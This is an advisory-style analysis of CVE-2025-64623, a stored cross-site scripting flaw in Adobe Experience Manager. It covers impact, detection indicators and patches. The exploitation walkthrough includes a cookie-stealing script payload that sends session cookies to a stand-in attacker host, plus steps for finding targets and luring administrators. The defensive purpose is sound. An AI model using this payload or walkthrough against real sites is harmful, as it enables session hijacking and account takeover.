CVE-2025-64623: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64623 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject persistent malicious JavaScript into vulnerable AEM form fields; the script executes in the victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim browsing the affected page) and low privileges on the AEM instance, with the scope of impact extending beyond the vulnerable component (changed scope). Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM platform, resulting in low confidentiality and low integrity impact with no direct availability impact. Potential consequences include session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. Because AEM is commonly used as an enterprise content management platform, exploitation could affect a broad user base including administrators, enabling privilege escalation through session hijacking (Adobe Advisory, Feedly).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Identify vulnerable form fields: Navigate AEM authoring interfaces to locate form fields that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect exfiltrated session tokens, cookies, or credentials from the attacker-controlled server to perform session hijacking or further unauthorized actions (Adobe Advisory, Feedly).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains containing cookie or session data in query parameters (e.g., ?c=<session_token>).
• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /jcr:content/) from low-privileged accounts containing script tags or encoded JavaScript payloads.
• File System / Content Repository: AEM JCR (Java Content Repository) nodes containing unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) in stored content properties.
• Browser/Application: Unexpected JavaScript execution or redirects observed by users browsing AEM-hosted pages; browser developer tools showing script sources from external or unexpected domains.

Adobe has released patches addressing CVE-2025-64623 in AEM 6.5 Service Pack 24 (version 6.5.24.0) and AEM Cloud Service release 2025.12.0. Organizations should upgrade AEM on-premises instances to version 6.5.24.0 or later, and ensure AEM Cloud Service environments are updated to the December 2025 release. As a general workaround, restrict authoring access to trusted users only and implement a Content Security Policy (CSP) to limit script execution sources. Review and sanitize existing stored content for injected scripts after patching (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including CVE-2025-64623, that could allow for arbitrary code execution and other impacts (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE.